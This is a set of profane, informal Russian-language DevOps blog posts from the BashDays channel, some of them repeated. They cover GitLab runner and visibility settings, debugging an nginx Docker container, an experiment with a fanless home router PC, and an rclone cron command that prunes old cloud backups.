Требуется какая-то ебучая Verify my account, квест который не так просто пройти. Но есть способ это обойти, спасибо за наводку Akhmed Gvashev.
Пиздуем в Settings → CI/CD → Runners → Instance runners и отключаем Enable instance runners for this project.
Всё, дело в шляпе. А дальше регистрируешь свои локальные раннеры и запускаешь пайплайны хоть до посинения.
Пользуйтесь!
tags: #devops
—
🔔 ➡️
Здрасти. Еще один частый вопрос с проекта Linux Factory:
Давай симулируем ситуацию и попробуем что-то с этим сделать.
ㅤ
Для начала соберем имейдж, это будет простой nginx + свой конфиг, который будет копироваться с локальной машины в имейдж.
Создаем на хостовой машине пару файлов:
Dockerfile:
nginx.conf
Собираем имейдж:
Ждем, на экране бежит куча всякого непотребства. Это нормально. Ждем…
Проверяем:
Ага, все ок, выплюнуло что-то вроде:
Запускаем:
Проверяем:
Хуй там плавал. Ничо не стартануло… ошибок нет, куда смотреть?
Если контейнер вообще не запускается, то для начала смотрим логи:
1. Узнаем состояние контейнера:
Видим хуй с маслом:
2. Смотрим логи:
В
В логах видим ошибку:
Вот! С ней уже можно работать. Получается мы посмотрели логи, даже для незапущенного контейнера. Пиздуем в nginx конфиг и видим, что в 14й строке проебали точку с запятой.
Дополнительно можно посмотреть коды выхода:
Например, если код выхода
Это основные моменты отладки.
Ну а если контейнер все же запустился, но что-то не работает, сначала повторяем все вышенаписанное. Ну и дополнительно можешь подключиться к нему в интерактивном режиме:
Подставляешь id/name контейнера и выбираешь шелл, частенько bash и коробки не установлен, поэтому как вариант запускаешь sh.
А для визуализации слоев используем утилиту dive
Установка dive:
Открываем имейдж на анализ:
Подставляем id или имя — ИМЕЙДЖА (не контейнера)
Смотрим, охуеваем, закрываем.
Еще можно глянуть конкретный файл в контейнере:
Либо скопировать его себе на локальную машину:
Поправить и скопировать обратно в контейнер:
Перезапускаем контейнер с новым конфигом:
Такие дела! Если знаешь еще хаки и способы отладки контейнеров/имеджей, пиши в комменты, будет полезно!
tags: #devops #debug #docker
—
➕ ➕
Я собрал докер имейдж, а контейнер вечно в ребуте либо вообще не запускается, чо делать и как отлаживать?
Давай симулируем ситуацию и попробуем что-то с этим сделать.
ㅤ
Для начала соберем имейдж, это будет простой nginx + свой конфиг, который будет копироваться с локальной машины в имейдж.
Создаем на хостовой машине пару файлов:
Dockerfile:
FROM nginx:latest
WORKDIR /etc/nginx
COPY ./nginx.conf /etc/nginx/nginx.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
nginx.conf
user nginx;
worker_processes 1;
events {
worker_connections 1024;
}
http {
server {
listen 80;
server_name localhost;
location / {
return 200 'Hello, Docker!'
add_header Content-Type text/plain;
}
}
}
Собираем имейдж:
docker build -t my-nginx .
Ждем, на экране бежит куча всякого непотребства. Это нормально. Ждем…
Проверяем:
docker images
Ага, все ок, выплюнуло что-то вроде:
REPOSITORY TAG IMAGE ID CREATED SIZE
my-nginx latest b844ef77daa3 33 seconds ago 188MB
Запускаем:
docker run -d -p 80:80 my-nginx
Проверяем:
docker ps
Хуй там плавал. Ничо не стартануло… ошибок нет, куда смотреть?
Если контейнер вообще не запускается, то для начала смотрим логи:
1. Узнаем состояние контейнера:
docker ps -a
Видим хуй с маслом:
Exited (1) 4 minutes ago
2. Смотрим логи:
docker logs --follow <id or name>
В
<id or name>
подставляем айдишник либо имя контейнера:В логах видим ошибку:
invalid number of arguments in "return" directive in /etc/nginx/nginx.conf:15
Вот! С ней уже можно работать. Получается мы посмотрели логи, даже для незапущенного контейнера. Пиздуем в nginx конфиг и видим, что в 14й строке проебали точку с запятой.
Дополнительно можно посмотреть коды выхода:
docker inspect <id or name>
Например, если код выхода
ExitCode = 137
, значит не хватило ресурсов, подкинь памяти и все взлетит. Наверное…Это основные моменты отладки.
Ну а если контейнер все же запустился, но что-то не работает, сначала повторяем все вышенаписанное. Ну и дополнительно можешь подключиться к нему в интерактивном режиме:
docker exec -it <id or name> bash/sh
Подставляешь id/name контейнера и выбираешь шелл, частенько bash и коробки не установлен, поэтому как вариант запускаешь sh.
А для визуализации слоев используем утилиту dive
Установка dive:
DIVE_VERSION=$(curl -sL "https://api.github.com/repos/wagoodman/dive/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/')
curl -OL https://github.com/wagoodman/dive/releases/download/v${DIVE_VERSION}/dive_${DIVE_VERSION}_linux_amd64.deb
sudo apt install ./dive_${DIVE_VERSION}_linux_amd64.deb
Открываем имейдж на анализ:
dive <id or imagename>
Подставляем id или имя — ИМЕЙДЖА (не контейнера)
Смотрим, охуеваем, закрываем.
Еще можно глянуть конкретный файл в контейнере:
docker exec -it <id or name> cat /etc/nginx/nginx.conf
Либо скопировать его себе на локальную машину:
docker cp <id or name>:/etc/nginx/nginx.conf /tmp
Поправить и скопировать обратно в контейнер:
docker cp /tmp/nginx.conf <id or name>:/etc/nginx/nginx.conf
Перезапускаем контейнер с новым конфигом:
Прикол в том, что тебе не нужно билдить новый имейдж, ты делаешь правки прям в контейнере.
docker exec <id or name> nginx -s reload
Такие дела! Если знаешь еще хаки и способы отладки контейнеров/имеджей, пиши в комменты, будет полезно!
tags: #devops #debug #docker
—
➕ ➕
Оказывается не все знают как в гитлабе сделать приватную репу публичной.
➡️ На примере облачного гитлаба:
Пиздуем в Проект → Settings → General → Visibility, project features, permissions → Project visibility
ㅤ
Выбираем из выпадающего списка: private, public, internal
Если у тебя облачный гитлаб с группами, читай дальше.
➡️ На примере Self-Hosted:
В отличии от облачного гитлаба, здесь недоступны варианты public, internal. Это многих смущает и вводит в ступор. Если коротко — сгорают жопы!
Открываем проект c репозиторием, вверху слева будет название группы, у меня оно linuxfactory и следом название проекта. Тыкаем на название группы, попадаем примерно на такой урл: https://git.bashdays.ru/linuxfactor
Нажимает три точки справа сверху появляется всплывашка, выбираем → Group Settings.
Находим: Visibility level и выставляем видимость группы public.
Пиздуем опять на страницу проекта с репозиторием → Settings → General → Visibility, project features, permissions → Project visibility
И о чудо! Активируются пункты public и internal.
Если чо-то забыл, добавляй в комменты, тема реально муторная и многие на эти грабли частенько наступают. Да чо греха таить я сам прихуел от таких пиздостраданий.
Пользуйтесь!
tags: #devops
—
🔔 ➡️
➡️ На примере облачного гитлаба:
Пиздуем в Проект → Settings → General → Visibility, project features, permissions → Project visibility
ㅤ
Выбираем из выпадающего списка: private, public, internal
Если у тебя облачный гитлаб с группами, читай дальше.
➡️ На примере Self-Hosted:
В отличии от облачного гитлаба, здесь недоступны варианты public, internal. Это многих смущает и вводит в ступор. Если коротко — сгорают жопы!
Открываем проект c репозиторием, вверху слева будет название группы, у меня оно linuxfactory и следом название проекта. Тыкаем на название группы, попадаем примерно на такой урл: https://git.bashdays.ru/linuxfactor
Нажимает три точки справа сверху появляется всплывашка, выбираем → Group Settings.
Находим: Visibility level и выставляем видимость группы public.
Пиздуем опять на страницу проекта с репозиторием → Settings → General → Visibility, project features, permissions → Project visibility
И о чудо! Активируются пункты public и internal.
Если чо-то забыл, добавляй в комменты, тема реально муторная и многие на эти грабли частенько наступают. Да чо греха таить я сам прихуел от таких пиздостраданий.
Пользуйтесь!
tags: #devops
—
🔔 ➡️
Я тут решил поделиться впечатлениями. И хорошими и не очень. Вобщем, все в дом BashDays.
Недавно мне не дали премию за написание статей для BashDays. Сразу скажу, что на нее я не рассчитывал, поэтомуохренел обрадовался и решил потратить ее на что-нибудь бесполезное, но приятно-интересное.
ㅤ
В общем, прикупил себе Безвентиляторный ПК Intel Celeron N2840 @ 2.16GHz 8Gb 128Gb 2 Lan 1Gb wi-fi Intel® Centrino® Advanced-N 6205. (далее писюк)
Проц выбрал именно такой из-за TDP 7W. На машине стояла Win10. Ну, я ее включил, залез на youtube. Измерил потребляемую мощность 12-15 Вт. Ну, короче, работать можно, если без претензий Корпус грелся, но я долго не работал. Снес.
Поставил pfsense. Установилась легко. Работает шустро. Но я не смог поднять точку доступа WI-FI. Интерфейс поднимается, но режим точки доступа не доступен. Немного погуглил, народ пишет, что pfsense и wi-fi AP не очень дружат, и рекомендуют просто купить дрочку доступа. Ой, как забавно опечатался. Даже исправлять не буду. Снес.
Поставил debian 12. Затем hostapd, dnsmasq, iptables. В общем, точка доступа поднялась с танцами и бубном, но, проверка скорости с помощью iperf3 показала, что ноут с этой точкой доступа работает на скорости около 35-37 Мбит/с.
Между тем, мой старичек keenetic 4G (KN-1210) RU выдает 80-90 Мбит/с. И это включая интернет канал до Нидерландов. В общем, полное разочарование. Да, это на 2.4 ГГц. На 5 мне попробовать было нечем. Снес.
После этого решил на пробу установить ipfire. Дистрибутив, специально заточен для периметрового маршрутизатора, но по функционалу, который можно доставить очень напоминает openwrt. (C самой openwrt я знаком чисто теоретически).
Про ipfire раньше никогда не слышал, прям сегодня почитал, и решил попробовать. Знаете, впечатление очень даже ничего. Ставится просто, web-интерфейс довольно удобный. (За исключением правил firewall. Но это я после pfsense такой привередливый:-)
Порадовала документация на сайте. Все очень простым английским языком. Да, один косяк. При установке, вначале указал язык русский и после перезагрузки в инсталляторе все тексты были квадратиками. Что-то парни со шрифтами намудрили.) Пришлось переставлять. Поставил, поднял точку доступа с пол-оборота, замерил скорость - 35-37Мбит/с. Грешу на wi-fi адаптер.
Заменить полноценно Keenetic не получилось. Да, из самого неприятного, писюк греется. Я пробовал поставить частоты по минимуму, производительности хватает, но все равно греется, хотя и значительно меньше.
Для проца температура совсем ерундовая, но для ссд и материнки условия не очень комфортные. Видимо придется колхозить вентилятор, тем более отверстия под 60мм есть.
Буду рад послушать о вашем опыте использования подобных игрушек. О проблемах и путях решения. Пишите в комментах, кто для чего использует и какой софт.
tags: #рабочиебудни © by Tagd Tagd
—
🔔 ➡️
Недавно мне не дали премию за написание статей для BashDays. Сразу скажу, что на нее я не рассчитывал, поэтому
ㅤ
В общем, прикупил себе Безвентиляторный ПК Intel Celeron N2840 @ 2.16GHz 8Gb 128Gb 2 Lan 1Gb wi-fi Intel® Centrino® Advanced-N 6205. (далее писюк)
Проц выбрал именно такой из-за TDP 7W. На машине стояла Win10. Ну, я ее включил, залез на youtube. Измерил потребляемую мощность 12-15 Вт. Ну, короче, работать можно, если без претензий Корпус грелся, но я долго не работал. Снес.
Поставил pfsense. Установилась легко. Работает шустро. Но я не смог поднять точку доступа WI-FI. Интерфейс поднимается, но режим точки доступа не доступен. Немного погуглил, народ пишет, что pfsense и wi-fi AP не очень дружат, и рекомендуют просто купить дрочку доступа. Ой, как забавно опечатался. Даже исправлять не буду. Снес.
Поставил debian 12. Затем hostapd, dnsmasq, iptables. В общем, точка доступа поднялась с танцами и бубном, но, проверка скорости с помощью iperf3 показала, что ноут с этой точкой доступа работает на скорости около 35-37 Мбит/с.
Между тем, мой старичек keenetic 4G (KN-1210) RU выдает 80-90 Мбит/с. И это включая интернет канал до Нидерландов. В общем, полное разочарование. Да, это на 2.4 ГГц. На 5 мне попробовать было нечем. Снес.
После этого решил на пробу установить ipfire. Дистрибутив, специально заточен для периметрового маршрутизатора, но по функционалу, который можно доставить очень напоминает openwrt. (C самой openwrt я знаком чисто теоретически).
Про ipfire раньше никогда не слышал, прям сегодня почитал, и решил попробовать. Знаете, впечатление очень даже ничего. Ставится просто, web-интерфейс довольно удобный. (За исключением правил firewall. Но это я после pfsense такой привередливый:-)
Порадовала документация на сайте. Все очень простым английским языком. Да, один косяк. При установке, вначале указал язык русский и после перезагрузки в инсталляторе все тексты были квадратиками. Что-то парни со шрифтами намудрили.) Пришлось переставлять. Поставил, поднял точку доступа с пол-оборота, замерил скорость - 35-37Мбит/с. Грешу на wi-fi адаптер.
Заменить полноценно Keenetic не получилось. Да, из самого неприятного, писюк греется. Я пробовал поставить частоты по минимуму, производительности хватает, но все равно греется, хотя и значительно меньше.
Для проца температура совсем ерундовая, но для ссд и материнки условия не очень комфортные. Видимо придется колхозить вентилятор, тем более отверстия под 60мм есть.
Буду рад послушать о вашем опыте использования подобных игрушек. О проблемах и путях решения. Пишите в комментах, кто для чего использует и какой софт.
tags: #рабочиебудни © by Tagd Tagd
—
🔔 ➡️
Хелоу мая диа френдз! Я повидал дохуя bash скриптов по зачистки старых бекапов, какие-то работают заебись, какие-то создают лишь видимость.
ㅤ
Заебись когда бекапы у тебя лежат на той же машине где ты их делаешь.
Запускаешь по крону команду
А чо делать когда бекапы «правильно» заливаются в облако s3 по протоколу swift?
Там
Для этих целей отлично подходит rclone, кто бы блядь мог подумать.
Работает так:
Показываем где лежит конфиг, конфиг представляет нечто такое:
Пишем непотребства в лог файл, чтобы потом посмотреть что там в кроне навыполнялось.
Указываем где чистим бекапы, задаем сколько бекапов нам оставить, в примере я оставляю за 3 последних дня. Бекапы у меня в каталогах по датам, добавляю ключик
Вешаем на крон и идем дальшеработать пинать хуи.
По моему отличное решение, и даже думать не пришлось.
Пользуйтесь на здоровье!
tags: #devops
—
🔔 ➡️
ㅤ
Заебись когда бекапы у тебя лежат на той же машине где ты их делаешь.
Запускаешь по крону команду
rm
и паре с find
и зачищаешь ненужное гавно которое старше определенного времени.А чо делать когда бекапы «правильно» заливаются в облако s3 по протоколу swift?
Там
find
с rm
уже не прокатит. Можно конечно изгаляться, но я в рот ебал изобретать очередной велосипед.Для этих целей отлично подходит rclone, кто бы блядь мог подумать.
Работает так:
/usr/bin/rclone --config ~/.config/rclone/rclone.conf \
--log-file /var/log/rclone-trasher.log \
-v delete selectel:backups/1c/ --min-age 3d --rmdirs
Показываем где лежит конфиг, конфиг представляет нечто такое:
[selectel]
type = swift
env_auth = false
user = bashdays
key = fuckyou
auth = https://auth.selcdn.ru/
endpoint_type = internal
Пишем непотребства в лог файл, чтобы потом посмотреть что там в кроне навыполнялось.
Указываем где чистим бекапы, задаем сколько бекапов нам оставить, в примере я оставляю за 3 последних дня. Бекапы у меня в каталогах по датам, добавляю ключик
rmdirs
.Вешаем на крон и идем дальше
По моему отличное решение, и даже думать не пришлось.
Пользуйтесь на здоровье!
tags: #devops
—
🔔 ➡️